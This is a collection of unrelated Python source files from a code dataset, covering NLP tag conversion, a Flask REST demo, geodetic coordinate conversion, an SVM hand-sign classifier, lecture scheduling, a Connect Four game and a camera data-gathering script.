Single\n\"\"\"\n\n\ndef iob2iobes(one_sentence): # inputはone_sentence=[[word , , tag][word, , ,tag]...]\n tag_list = []\n for one_word_and_tag_set in one_sentence:\n tag_list.append(one_word_and_tag_set[3])\n\n new_tag_list = []\n for i, tag in enumerate(tag_list):\n\n if tag == 'O':\n new_tag_list.append(tag)\n\n elif tag.split('-')[0] == 'B':\n if i != len(tag_list) -1 and tag.split('-')[0] == 'B' and tag_list[i+1].split('-')[0] == 'I':\n new_tag_list.append(tag)\n\n else:\n new_tag_list.append(tag.replace('B-','S-'))\n elif tag.split('-')[0] == 'I':\n if i != len(tag_list) -1 and tag.split('-')[0] == 'I' and tag_list[i+1].split('-')[0] == 'I' :\n new_tag_list.append(tag)\n else:\n new_tag_list.append(tag.replace('I-','E-'))\n else:\n raise(\"FORMAT ERROR\")\n for j in range(len(one_sentence)):\n one_sentence[j][3] = new_tag_list[j]\n return one_sentence\n\n\n# 単語に関しては小文字化、文字エンベディングのときはそのまま大文字は大文字\ndef dictmaker(all_of_sentences): #inputはすべてのデータ\n word2iddict = {'':0}\n character2iddict = {'':0}\n tag2iddict = {}\n\n id2word_dict = {0:''}\n id2character_dict = {0:''}\n id2tag_dict = {}\n\n for one_sentence in all_of_sentences:\n for one_word_and_tag_set in one_sentence:\n one_word = one_word_and_tag_set[0]\n\n # 以下の+1 は  の分 (これをしないとid0が上書きされる)\n if not one_word.lower() in word2iddict:\n word2iddict.update({one_word.lower():len(word2iddict) +1})\n id2word_dict.update({len(word2iddict)+1 : one_word.lower()})\n\n char_list = list(one_word)\n for one_char in char_list:\n character2iddict.update({one_char:len(character2iddict) + 1})\n id2character_dict.update({len(character2iddict) + 1:one_char})\n\n one_tag = one_word_and_tag_set[3]\n if not one_tag in tag2iddict:\n tag2iddict.update({one_tag:len(tag2iddict)})\n id2tag_dict.update({len(tag2iddict) : one_tag})\n\n return word2iddict, character2iddict, tag2iddict, id2word_dict, id2character_dict, id2tag_dict\n\n\n\n\n\n\nnewtaglist_ = []\nfor one_sentences in load_sentence(CoNLL_filepath):\n newtaglist_.append(iob2iobes(one_sentences))\n\nword2id,char2id,tag2id,id2word,id2char,id2tag = dictmaker(newtaglist_)\n\n\ndef all_of_data2id(all_of_sentences,word2iddict,character2iddict,tag2iddict):\n data = all_of_sentences\n for one_sentence in data:\n for one_word_and_tag_set in one_sentence:\n one_word_and_tag_set[0] = int(word2iddict[one_word_and_tag_set[0].lower()])\n one_word_and_tag_set[3] = int(tag2iddict[one_word_and_tag_set[3]])\n\n character_alldata = data\n for one_sentence in character_alldata:\n oneword_charlist = list(one_sentence[0])\n one_sentence[0] = oneword_charlist\n\n return data, character_alldata\n\nrevised_data, revised_char_data = all_of_data2id(newtaglist_,word2id,char2id,tag2id)\n\n# for Glove Test\nGlove_filepath = \"./GloVe/glove.6B.100d.txt\"\n\n# 多分動いた\ndef GloVetoarray(GloVepath,word2id_dic):\n word2embeddict = {}\n for i, line in enumerate(codecs.open(GloVepath,'r')):\n # format line\n # word, それ以外int\n s = line.strip().split()\n word2embeddict[s[0]] = np.array([float(i) for i in s[1:]])\n dim_GloVe = 100\n # embedding matrixを初期化して、もし対応するwordがあるのならそれを書き換える#\n word_embeds_init_matrix = np.random.uniform(-np.sqrt(0.06), np.sqrt(0.06), (len(word2id_dic), dim_GloVe))\n\n for oneword in word2id_dic:\n if oneword in word2embeddict:\n word_embeds_init_matrix[word2id_dic[oneword]] = word2embeddict[oneword]\n elif oneword.lower() in word2embeddict:\n word_embeds_init_matrix[word2id_dic[oneword]] = word2embeddict[oneword.lower()]\n\n return word2embeddict, word_embeds_init_matrix\n\nwordembeddict, initmatrix = GloVetoarray(Glove_filepath,word2id)\n\n","sub_path":"dump/dicttest.py","file_name":"dicttest.py","file_ext":"py","file_size_in_byte":6129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"551359113","text":"from flask import Flask, jsonify, request\n\napp = Flask(__name__)\n\nlanguages = [{'name': 'JS'}, {'name': 'Python'}, {'name': 'Ruby'}]\n\n\n@app.route('/', methods=['GET'])\ndef test():\n return jsonify({'message': 'Itworks'})\n\n\n@app.route('/lang', methods=['GET'])\ndef lang():\n return jsonify({'languages': languages})\n\n\n@app.route('/lang/', methods=['GET'])\ndef lang_name(name):\n langs = [lang for lang in languages if lang['name'] == name]\n return jsonify({'language': langs[0]})\n\n\n@app.route('/lang', methods=['POST'])\ndef addOne():\n \"\"\"\n You can test this using the postman app. (Download).\n Do a post request in the app with the link /lang and in the body\n with the format as JSON\n add a new language --> {\"name\":\"C++\"}\n This will append this to the lanaguges dict (or database if you wil)\n and return all the languages once its done\n :return:\n \"\"\"\n language = {'name': request.json['name']}\n languages.append(language)\n return jsonify({'language': languages})\n\n\n@app.route('/lang/', methods=['PUT'])\ndef update_one(name):\n langs = [lang for lang in languages if lang['name'] == name]\n langs[0]['name'] = request.json['name']\n return jsonify({'language': languages})\n\n\n@app.route('/lang/', methods=['DELETE'])\ndef remove_one(name):\n langs = [lang for lang in languages if lang['name'] == name]\n languages.remove(langs[0])\n return jsonify({'language': languages})\n\n\nif __name__ == '__main__':\n app.run(debug=True, port=8000)\n","sub_path":"4_Restful_API_Flask_pretty_printed/restful.py","file_name":"restful.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"290971982","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Nov 13 09:15:28 2018\r\n\r\n@author: User\r\n\"\"\"\r\n\r\n\r\n#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Nov 6 08:44:42 2018\r\n \r\n@author: kinga\r\nAlgorytm Hirvonena - algorytm służący do transformacji współrzędnych ortokartezjańskich (prostokątnych) x, y, z \r\nna współrzędne geodezyjne B, L, h. Jest to proces iteracyjny. \r\nW wyniku 3-4-krotnego powtarzania procedury można przeliczyć współrzędne na poziomie dokładności 1 cm.\r\n\"\"\"\r\nfrom math import sin, cos, atan, sqrt, degrees\r\nfrom moje_metody import decimalDeg2dms\r\nimport linecache \r\n\r\ndef Np(B, a, e2):\r\n '''Compute East-West Radius of curvature at current position'''\r\n N = a/(1-e2*(sin(B))**2)**(0.5)\r\n return N\r\n \r\ndef hirvonen(X, Y, Z, a = 6378137., e2 = 0.00669438002290):\r\n r = sqrt(X**2 + Y**2) # promień\r\n B = atan(Z / (r * (1 - e2))) # pierwsze orzyblizenie m:0.908177798236740\r\n # 1) pętla for: iteracyjne wyznaczenie B\r\n B_next = B\r\n i = 0\r\n while True:\r\n i +=1\r\n B_prev = B_next\r\n# print('------------- numer iteracji',i)\r\n# print('B_prev', B_prev)\r\n# N = Np(B_prev, a, e2)\r\n N = a/(1-e2*(sin(B_prev))**2)**(0.5)\r\n H = (r/cos(B_prev))- N\r\n B_next = atan(Z/(r *(1 - (e2 * (N/(N + H))))))\r\n# print('B_next', B_next)\r\n B_next = B_next\r\n if abs(B_next - B_prev) <(0.0000001/206265): # warunek iteracji(rho'' =206265)\r\n break\r\n B = B_prev\r\n L = atan(Y/X)\r\n# N = Np(B, a, e2)\r\n N = a/(1-e2*(sin(B))**2)**(0.5)\r\n H = (r/cos(B))- N\r\n return degrees(B), degrees(L), H # \r\n\r\n#plik = open(\"hirv_data.txt\", \"r\")\r\n#linie = plik.readlines()\r\n#del linie[0]\r\n#for linia in linie:\r\n# b = linia.split(',')\r\n# X = float(b[0])\r\n# Y = float(b[1])\r\n# Z = float(b[2])\r\n# B, L, H = hirvonen(X, Y, Z)\r\n# print('\\nB', decimalDeg2dms(B))\r\n# print('L', decimalDeg2dms(L))\r\n# print('H', H)\r\n#plik.close()\r\n \r\n# inicjalizacja współrzednych XYZ:\r\nX = 3721407.0; Y= 1240527.0; Z = 5005587.0\r\nr = sqrt(X**2 + Y**2 + Z**2)\r\nprint('promien', r)\r\nB, L, H = hirvonen(X, Y, Z) # wywołanie funkcji hirvonen: wyniki: (52, 2, 5.05901) (18, 23, 23.92083) 555.40334\r\nprint('\\nB', B)\r\nprint('L', decimalDeg2dms(L))\r\nprint('H', H)\r\n\r\n\r\n","sub_path":"hirvonen.py","file_name":"hirvonen.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"610547229","text":"import importlib\nfrom pathlib import Path\nimport sys\nimport click\n\nfrom . import timing, profiling\n\nPROFILE = False\n\n\ndef run_timing(path: Path):\n for file in path.iterdir():\n if file.name.endswith('.py') and file.name.startswith('time_') and file.name != 'time_graphs.py':\n click.echo(f'\\x1b[33m[INFO] Loading {file.name}\\x1b[37m')\n module = importlib.import_module(f'{path.stem}.{file.name[:-3]}', path.stem)\n for member in module.__dict__:\n value = module.__dict__[member]\n to_run = value\n if not member.startswith('time_'):\n continue\n click.echo(f'\\x1b[33m[INFO] Running: \\x1b[1m{member}\\x1b[0m\\x1b[37m')\n to_run = timing(to_run)\n if PROFILE and hasattr(value, '__profile__'):\n to_run = profiling(to_run)\n to_run()\n\n\nif __name__ == \"__main__\":\n arg = './timing'\n if len(sys.argv) > 1:\n arg = sys.argv[1]\n run_timing(Path(arg))\n","sub_path":"timing/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"11202642","text":"# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport glob\nimport numpy as np\nfrom skimage import io\nfrom sklearn import datasets\n\nIMAGE_SIZE = 40\nCOLOR_BYTE = 3\nCATEGORY_NUM = 6\n\n## 라벨명(0~)을 붙인 디렉터리로 분류된 이미지 파일을 읽어 들인다\n## 입력 경로는 라벨명의 상위 디렉터리\ndef load_handimage(path):\n\n # 파일 목록을 취득\n files = glob.glob(os.path.join(path, '*/*.png'))\n\n # 이미지와 라벨 영역을 확보\n images = np.ndarray((len(files), IMAGE_SIZE, IMAGE_SIZE,\n COLOR_BYTE), dtype = np.uint8)\n labels = np.ndarray(len(files), dtype=np.int)\n\n # 이미지와 라벨을 읽어 들인다\n for idx, file in enumerate(files):\n # 이미지 읽어 들인다\n image = io.imread(file)\n images[idx] = image\n\n # 디렉터리명으로부터 라벨을 취득\n label = os.path.split(os.path.dirname(file))[-1]\n labels[idx] = int(label)\n\n # scikit-learn의 다른 데이터 세트의 형식에 합한다\n flat_data = images.reshape((-1, IMAGE_SIZE * IMAGE_SIZE * COLOR_BYTE))\n images = flat_data.view()\n return datasets.base.Bunch(data=flat_data,\n target=labels.astype(np.int),\n target_names=np.arange(CATEGORY_NUM),\n images=images,\n DESCR=None)\n\n#####################################\nfrom sklearn import svm, metrics\n\n## usage:\n## python classify_handsign_1.py ... \n## n 테스트용 데이터 디렉터리 수\n## dir_1 데이터 디렉터리1\n## dir_m 데이터 디렉터리m\n\nif __name__ == '__main__':\n argvs = sys.argv\n\n # 평가용 디렉터리 수의 취득\n paths_for_test = argvs[2:2+int(argvs[1])]\n paths_for_train = argvs[2+int(argvs[1]):]\n\n print('test ', paths_for_test)\n print('train', paths_for_train)\n\n # 평가 데이터 읽어 들이기\n data = []\n label = []\n for i in range(len(paths_for_test)):\n path = paths_for_test[i]\n d = load_handimage(path)\n data.append(d.data)\n label.append(d.target)\n test_data = np.concatenate(data)\n test_label = np.concatenate(label)\n\n # 학습 데이터 읽어 들이기\n data = []\n label = []\n for i in range(len(paths_for_train)):\n path = paths_for_train[i]\n d = load_handimage(path)\n data.append(d.data)\n label.append(d.target)\n train_data = np.concatenate(data)\n train_label = np.concatenate(label)\n\n # 수법:선형 SVM\n classifier = svm.LinearSVC()\n\n # 학습\n classifier.fit(train_data, train_label)\n\n # 테스트\n predicted = classifier.predict(test_data)\n\n # 결과 표시\n print(\"Accuracy:\\n%s\" % metrics.accuracy_score(test_label, predicted))\n","sub_path":"DATE_7_9/Finger_Detect/classify_handsign_1.py","file_name":"classify_handsign_1.py","file_ext":"py","file_size_in_byte":2811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"428401175","text":"#this class will hold the service logic for content\nfrom content.models import Lecture\nimport datetime as dt\nfrom datetime import timedelta\nfrom institute.models import Batches\n\n#d={'lectures': 1, 'duration': 2, 'time': '10:00', 'phase_id': '1', 'subject_id': '1', 'batches': ['1'], 'start_date': '2020-01-01'}\n#from content.service import *\n#create_lectures(**d)\ndef create_lectures(*args,**kwargs):\n\tno_of_lectures = kwargs.get('lectures')\n\tduration = kwargs.get('duration')\n\ttime = kwargs.get('time')\n\tphase_id = kwargs.get('phase_id')\n\tsubject_id = kwargs.get('subject_id')\n\tstart_date = kwargs.get('start_date')\n\tat_time = kwargs.get('time')\n\tstart_date_time = get_date_time(start_date,at_time)\n\tbatches = kwargs.get('batches')\n\tbatches = get_batches(batches,phase_id)\n\n\tfor batch in batches:\n\t\tfor lecture_counter in range(no_of_lectures):\n\t\t\tcreate_lecture(batch,subject_id,start_date_time,duration,phase_id)\n\t\t\tstart_date_time = get_next_eligible_date(start_date_time) \n\n\ndef get_batches(batches,phase_id):\n\tif 'all' in batches:\n\t\tbatches = Batches.objects.filter(phase_id=phase_id).values_list('id',flat=True)\n\treturn batches\n\ndef get_next_eligible_date(date_time,delta=1):\n\t'''\n\tThis will provide the next working day skipping sunday\n\t'''\n\tif date_time.weekday() == 5:\n\t\tdelta += 1\n\treturn date_time + timedelta(delta)\n\ndef get_date_time(date,time):\n\tmydate = dt.datetime.strptime(date, \"%Y-%m-%d\")\n\tmytime = dt.datetime.strptime(time,'%H:%M').time()\n\treturn dt.datetime.combine(mydate, mytime)\n\ndef create_lecture(batch_id,subject_id,start_date_time,duration,phase_id):\n\tLecture.objects.create(batch_id=batch_id,subject_id=subject_id,start_date_time=start_date_time,duration_hours=duration,phase_id=phase_id)","sub_path":"rs_backend/content/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"43971172","text":"# Smallest positive multiple divisible by all prime numbers from 1 to 20\n\ndef return_prime(start, end):\n prime = list()\n for i in range(start, end + 1):\n count = 0\n for j in range(2, i):\n if i % j == 0:\n count += 1\n if count == 0:\n prime.append(i)\n return prime\n\nprime_20_1 = return_prime(1, 20)[::-1]\nprint(prime_20_1)\n\nstart = 40\n\ncond = 1\nfound = True\n\nwhile cond:\n print('Testing-----' + str(start))\n for i in prime_20_1:\n if start % i != 0:\n if i < 14:\n print('Not divide ' + str(start) + ' by ' + str(i))\n found = False\n break\n found = True\n\n if found == True:\n break\n start += 1\n\nprint(start)\n","sub_path":"005/005_prime.py","file_name":"005_prime.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"275949973","text":"'''\nCreated on 11/09/2012\n\n@author: Paulo\n'''\nfrom sincomercio.parceiros.models import Parceiro\nfrom django.contrib import admin\n\nclass AdminParceiro (admin.ModelAdmin):\n list_filter = ('url','nomeRepresentante',)\n search_fields = ['nomeRepresentante']\n list_display = ('nomeRepresentante', 'image_img', 'url')\n\nadmin.site.register(Parceiro, AdminParceiro)","sub_path":"parceiros/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"109578021","text":"from tkinter import *\nimport tkinter.font\nimport tkinter.messagebox\nimport time\nimport os\n\nroot = Tk()\n#Text-Based and GUI\nclass View:\n def __init__(self):\n self.ROW_COUNT = 6\n self.COL_COUNT = 7\n\n # Params: Message - takes in the user input message\n # Return: returns the userinput as a string\n def getUserInput(self, message):\n userInput = input(message)\n return userInput\n\n #Params: board - takes in the game board\n #Return: Returns nothing prints out the gameboard\n def displayBoard(self,board):\n printBoard = \"\"\n\n boardRotate = board[::-1]\n for r in range(self.ROW_COUNT):\n for c in range(self.COL_COUNT):\n printBoard += \"|\" + str(boardRotate[r][c])\n printBoard += \"|\\n\"\n print(printBoard)\n\n#Handle Logic\nclass Model:\n\n def __init__(self):\n\n self.playerValue = 1\n self.ROW_COUNT = 6\n self.COL_COUNT = 7\n self.board = [[0] * self.COL_COUNT for r in range(self.ROW_COUNT)]\n self.moveCount = 0\n\n #Returns the board\n def getBoard(self):\n return self.board\n\n #Returns true if a one of the players has 4 pieces vertically, horizontally, or diagonally.\n def winnerExists(self):\n\n # Check Horizontal\n for row in range(self.ROW_COUNT):\n for col in range(self.COL_COUNT - 3):\n if self.board[row][col] == self.playerValue \\\n and self.board[row][col + 1] == self.playerValue \\\n and self.board[row][col + 2] == self.playerValue \\\n and self.board[row][col + 3] == self.playerValue:\n return True\n\n # Check Vertical\n for row in range(self.ROW_COUNT - 3):\n for col in range(self.COL_COUNT):\n if self.board[row][col] == self.playerValue \\\n and self.board[row + 1][col] == self.playerValue \\\n and self.board[row + 2][col] == self.playerValue \\\n and self.board[row + 3][col] == self.playerValue:\n return True\n\n # Check Diagonal \\\n for row in range(self.ROW_COUNT - 3):\n for col in range(self.COL_COUNT - 3):\n if self.board[row][col] == self.playerValue \\\n and self.board[row + 1][col + 1] == self.playerValue \\\n and self.board[row + 2][col + 2] == self.playerValue \\\n and self.board[row + 3][col + 3] == self.playerValue:\n return True\n\n # Check Diagonal /\n for row in range(3, self.ROW_COUNT):\n for col in range(self.COL_COUNT - 3):\n if self.board[row][col] == self.playerValue \\\n and self.board[row - 1][col + 1] == self.playerValue \\\n and self.board[row - 2][col + 2] == self.playerValue \\\n and self.board[row - 3][col + 3] == self.playerValue:\n return True\n\n\n #Checking if row is free\n #Params: Board - the game board, colChoice - users selected col , and amount of rows\n #Returns: Returns the row number if valid by checking each row in that col and seeing if there is an open space indicated by a 0\n def checkRow(self, board ,colChoice):\n for rowNum in range(self.ROW_COUNT):\n if board[rowNum][colChoice] == 0:\n return rowNum\n #Params: colChoice - user selected col\n #Returns: Checks that user inputs a valid row# then checks if the board is full, then if there is a winner, otherwise it changes player and returns True\n def makeMove(self, colChoice):\n\n #Makes sure the column is valid\n try:\n row = model.checkRow(model.getBoard(), colChoice)\n model.getBoard()[row][colChoice] = self.playerValue\n self.moveCount += 1\n\n if self.moveCount == 43:\n print(\"No Winner\")\n\n if model.winnerExists():\n self.endGame()\n return False\n if self.playerValue == 1:\n self.playerValue += 1\n else:\n self.playerValue -= 1\n return True\n except:\n print(\"Please Enter A Valid Column \\n\")\n time.sleep(.5)\n return True\n #Returns: Ends the game and prints out who the winner is\n def endGame(self):\n if model.playerValue == 1:\n time.sleep(.5)\n root.destroy()\n # Label(start.root, text=\"Player 1 is the Winner!!\", font=header).grid(row=2, column=2, rowspan=4,columnspan=6)\n print(\"Player 1 is the winner!!\")\n return False\n else:\n time.sleep(.5)\n root.destroy()\n # Label(start.root, text=\"Player 2 is the Winner!!\", font=header).grid(row=2, column=2, rowspan=4, columnspan=6)\n print(\"Player 2 is the winner!!\")\n return False\n\n\n# Initialize View and Model\nmodel = Model()\nview = View()\n\nclass Controller:\n\n #Main method\n def __init__(self):\n self.coords_col_1 = [0, 500, 100, 600]\n self.coords_col_2 = [100, 500, 200, 600]\n self.coords_col_3 = [200, 500, 300, 600]\n self.coords_col_4 = [300, 500, 400, 600]\n self.coords_col_5 = [400, 500, 500, 600]\n self.coords_col_6 = [500, 500, 600, 600]\n self.coords_col_7 = [600, 500, 700, 600]\n\n\n self.c = Canvas(root, width=700, height=600, bg=\"lightsky blue\")\n self.buttonFrame = Frame(root, width=700, height=200)\n self.playerScoreFrame = Frame(root, width=700, height=50)\n self.bottomFrame = Frame(root, width=700, height=50)\n\n # Starting the game\n option = view.getUserInput(\"Type text or gui for your version of Connect Four\\n\")\n if option.lower() == \"gui\":\n self.gui()\n else:\n self.textView()\n # Creates the gui\n # Returns: Creates a gui by adding frames and buttons to the root window\n def gui(self):\n header = tkinter.font.Font(size=20, weight=tkinter.font.BOLD)\n Label(root, text=\"Connect Four\", anchor=N, font=header).grid(row=0, column=2, columnspan=3)\n\n # Create Seperation from Board to have buttons and exit/switch view buttons\n\n self.c.grid(row=1, column=0, rowspan=6, columnspan=7)\n self.buttonFrame.grid(row=8, column=0, columnspan=7)\n self.playerScoreFrame.grid(row=9, column=0, columnspan=7)\n self.bottomFrame.grid(row=10, column=0, columnspan=7)\n colTracker = [*range(7)]\n\n Button(self.buttonFrame, text=\"Row 1\", relief = \"groove\", width= 12,command=lambda: \\\n self.addPiece(colTracker[0])).grid(row=8, column=0, padx = 3)\n Button(self.buttonFrame, text=\"Row 2\", relief = \"groove\",width= 12,command=lambda: \\\n self.addPiece(colTracker[1])).grid(row=8, column=1, padx =3)\n Button(self.buttonFrame, text=\"Row 3\", relief = \"groove\",width= 12,command=lambda: \\\n self.addPiece(colTracker[2])).grid(row=8, column=2, padx =3)\n Button(self.buttonFrame, text=\"Row 4\", relief = \"groove\",width= 12,command=lambda: \\\n self.addPiece(colTracker[3])).grid(row=8, column=3, padx =3)\n Button(self.buttonFrame, text=\"Row 5\", relief = \"groove\",width= 12,command=lambda: \\\n self.addPiece(colTracker[4])).grid(row=8, column=4, padx =3)\n Button(self.buttonFrame, text=\"Row 6\", relief = \"groove\",width= 12,command=lambda: \\\n self.addPiece(colTracker[5])).grid(row=8, column=5, padx =3)\n Button(self.buttonFrame, text=\"Row 7\", relief = \"groove\",width= 12,command=lambda: \\\n self.addPiece(colTracker[6])).grid(row=8, column=6, padx =3)\n\n\n Button(self.bottomFrame, text=\"Exit\", relief = \"groove\",width=15,command=lambda: self.quit()).grid(row=10, column=2, pady = 30, padx = 15)\n Button(self.bottomFrame, text=\"Switch Views\", relief = \"groove\",width= 15,command=lambda: self.switchToText()).grid(row=10,column=4)\n root.mainloop()\n\n #Returns: Runs the text view of the game and gets the user input and continues the game based on their choice.\n def textView(self):\n run = True\n #Game Loop\n while run:\n\n #User Input Loop\n while True:\n\n #Try/Except to make sure user gives valid input\n try:\n view.displayBoard(model.getBoard())\n\n colChoice = int(\n view.getUserInput(\"Select a Column 0,1,2,3,4,5, or 6 (or type 9 to go into gui view) \\n\"))\n if colChoice == 8:\n break\n if colChoice == 9:\n\n self.gui()\n # break\n run = model.makeMove(colChoice)\n\n break #Exits the User Input Loop\n except:\n print(\"Please Enter A Valid Column \\n\")\n time.sleep(.5)\n exit()\n\n #Adds a piece to the board\n #Params: col - user selected col\n #Returns: adds a piece to the canvas as well as adding it to the game board to track the text view and keep game logic\n def addPiece(self, col):\n #Starting coord for row 1 , x0 =5 , y0 = 500 , x1 = 105 , y1= 600\n playerValueFont = tkinter.font.Font(size=15, weight=tkinter.font.BOLD)\n\n if col == 0:\n if model.playerValue == 1:\n self.c.create_oval(self.coords_col_1[0], self.coords_col_1[1], self.coords_col_1[2], self.coords_col_1[3], fill=\"black\")\n Label(root, text=\"Player \" + str(model.playerValue+1) + \" move\", font = playerValueFont).grid(row=9, column=2, columnspan = 3)\n self.coords_col_1[1] -= 100\n self.coords_col_1[3] -= 100\n model.makeMove(col)\n\n else:\n self.c.create_oval(self.coords_col_1[0], self.coords_col_1[1], self.coords_col_1[2], self.coords_col_1[3], fill=\"red\")\n Label(root, text=\"Player \" + str(model.playerValue-1) + \" move\", font = playerValueFont).grid(row=9, column=2, columnspan=3)\n self.coords_col_1[1] -= 100\n self.coords_col_1[3] -= 100\n model.makeMove(col)\n if col == 1:\n if model.playerValue == 1:\n self.c.create_oval(self.coords_col_2[0], self.coords_col_2[1], self.coords_col_2[2], self.coords_col_2[3], fill=\"black\")\n Label(root, text=\"Player \" + str(model.playerValue+1) + \" move\", font = playerValueFont).grid(row=9, column=2, columnspan = 3)\n self.coords_col_2[1] -= 100\n self.coords_col_2[3] -= 100\n model.makeMove(col)\n else:\n self.c.create_oval(self.coords_col_2[0], self.coords_col_2[1], self.coords_col_2[2], self.coords_col_2[3], fill=\"red\")\n Label(root, text=\"Player \" + str(model.playerValue-1) + \" move\", font = playerValueFont).grid(row=9, column=2, columnspan=3)\n\n self.coords_col_2[1] -= 100\n self.coords_col_2[3] -= 100\n model.makeMove(col)\n if col == 2:\n if model.playerValue == 1:\n self.c.create_oval(self.coords_col_3[0], self.coords_col_3[1], self.coords_col_3[2], self.coords_col_3[3], fill=\"black\")\n Label(root, text=\"Player \" + str(model.playerValue+1) + \" move\", font = playerValueFont).grid(row=9, column=2, columnspan = 3)\n self.coords_col_3[1] -= 100\n self.coords_col_3[3] -= 100\n model.makeMove(col)\n else:\n self.c.create_oval(self.coords_col_3[0], self.coords_col_3[1], self.coords_col_3[2], self.coords_col_3[3], fill=\"red\")\n Label(root, text=\"Player \" + str(model.playerValue-1) + \" move\", font = playerValueFont).grid(row=9, column=2, columnspan=3)\n self.coords_col_3[1] -= 100\n self.coords_col_3[3] -= 100\n model.makeMove(col)\n if col == 3:\n if model.playerValue == 1:\n self.c.create_oval(self.coords_col_4[0], self.coords_col_4[1], self.coords_col_4[2], self.coords_col_4[3], fill=\"black\")\n Label(root, text=\"Player \" + str(model.playerValue+1) + \" move\", font = playerValueFont).grid(row=9, column=2, columnspan = 3)\n self.coords_col_4[1] -= 100\n self.coords_col_4[3] -= 100\n model.makeMove(col)\n else:\n self.c.create_oval(self.coords_col_4[0], self.coords_col_4[1], self.coords_col_4[2], self.coords_col_4[3], fill=\"red\")\n Label(root, text=\"Player \" + str(model.playerValue-1) + \" move\", font = playerValueFont).grid(row=9, column=2, columnspan=3)\n self.coords_col_4[1] -= 100\n self.coords_col_4[3] -= 100\n model.makeMove(col)\n\n if col == 4:\n if model.playerValue == 1:\n self.c.create_oval(self.coords_col_5[0], self.coords_col_5[1], self.coords_col_5[2], self.coords_col_5[3], fill=\"black\")\n Label(root, text=\"Player \" + str(model.playerValue+1) + \" move\", font = playerValueFont).grid(row=9, column=2, columnspan = 3)\n self.coords_col_5[1] -= 100\n self.coords_col_5[3] -= 100\n model.makeMove(col)\n else:\n self.c.create_oval(self.coords_col_5[0], self.coords_col_5[1], self.coords_col_5[2], self.coords_col_5[3], fill=\"red\")\n Label(root, text=\"Player \" + str(model.playerValue-1) + \" move\", font = playerValueFont).grid(row=9, column=2, columnspan=3)\n self.coords_col_5[1] -= 100\n self.coords_col_5[3] -= 100\n model.makeMove(col)\n if col == 5:\n if model.playerValue == 1:\n self.c.create_oval(self.coords_col_6[0], self.coords_col_6[1], self.coords_col_6[2],self.coords_col_6[3], fill=\"black\")\n Label(root, text=\"Player \" + str(model.playerValue+1) + \" move\", font = playerValueFont).grid(row=9, column=2, columnspan = 3)\n self.coords_col_6[1] -= 100\n self.coords_col_6[3] -= 100\n model.makeMove(col)\n else:\n self.c.create_oval(self.coords_col_6[0], self.coords_col_6[1], self.coords_col_6[2],self.coords_col_6[3], fill=\"red\")\n Label(root, text=\"Player \" + str(model.playerValue-1) + \" move\", font = playerValueFont).grid(row=9, column=2, columnspan=3)\n self.coords_col_6[1] -= 100\n self.coords_col_6[3] -= 100\n model.makeMove(col)\n if col == 6:\n if model.playerValue == 1:\n self.c.create_oval(self.coords_col_7[0], self.coords_col_7[1], self.coords_col_7[2], self.coords_col_7[3], fill=\"black\")\n Label(root, text=\"Player \" + str(model.playerValue+1) + \" move\", font = playerValueFont).grid(row=9, column=2, columnspan = 3)\n self.coords_col_7[1] -= 100\n self.coords_col_7[3] -= 100\n model.makeMove(col)\n else:\n self.c.create_oval(self.coords_col_7[0], self.coords_col_7[1], self.coords_col_7[2], self.coords_col_7[3], fill=\"red\")\n Label(root, text=\"Player \" + str(model.playerValue-1) + \" move\", font = playerValueFont).grid(row=9, column=2, columnspan=3)\n self.coords_col_7[1] -= 100\n self.coords_col_7[3] -= 100\n model.makeMove(col)\n #Switches the veiw from the GUI to the text view\n #Returns: Closes the GUI and runs the text view\n def switchToText(self):\n root.withdraw()\n self.textView()\n\n # Closes the GUI\n # Returns: destroys the root window\n def quit(self):\n root.destroy()\n#Starts everything\nstart = Controller()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"17427694","text":"#!/usr/bin/env python\n'''\ntest_getTestData.py - Gathering test data (base images, bounding boxes, box locations) for patricks classifier\n'''\nfrom context import multicamera_framework\nfrom multicamera_framework.jic_framework_tools import JICTools\nfrom multicamera_framework.detectors.tensorbox.tensorbox import Tensorbox\nfrom multicamera_framework.classifiers.default_classifier import DefaultClassifier\nfrom multicamera_framework.cameras.camera_PTZSNC_ER585 import CameraSession\nimport cv2\nimport os\nimport errno\nimport shutil\n\n\ndef mkdir_p(path):\n try:\n os.makedirs(path)\n except OSError as exc: # Python >2.5\n if exc.errno == errno.EEXIST and os.path.isdir(path):\n pass\n else:\n raise\n\nif __name__ == '__main__':\n tools = JICTools(detector=Tensorbox,\n classifier=DefaultClassifier)\n\n tools.addCamera(camera=CameraSession, cameraArgs=\"192.168.0.4\")\n tools.addCamera(camera=CameraSession, cameraArgs=\"192.168.0.3\")\n\n\n path = \"/home/cskunk/temp/for_patrick\"\n # clean path\n shutil.rmtree(path)\n\n cam0Path = path + \"/cam0\"\n cam1Path = path + \"/cam1\"\n mkdir_p(cam0Path)\n mkdir_p(cam1Path)\n\n for x in xrange(0, 10):\n for idx, camContainer in enumerate(tools.camContainers):\n # make the directory for the current image in the correct cam location\n framePath = path + \"/cam\" + str(idx) + \"/frame\" + str(x)\n mkdir_p(framePath)\n\n # get the image\n frame = camContainer.camera.getFrame()\n cv2.imwrite(framePath + \"/frame\" + str(x) + 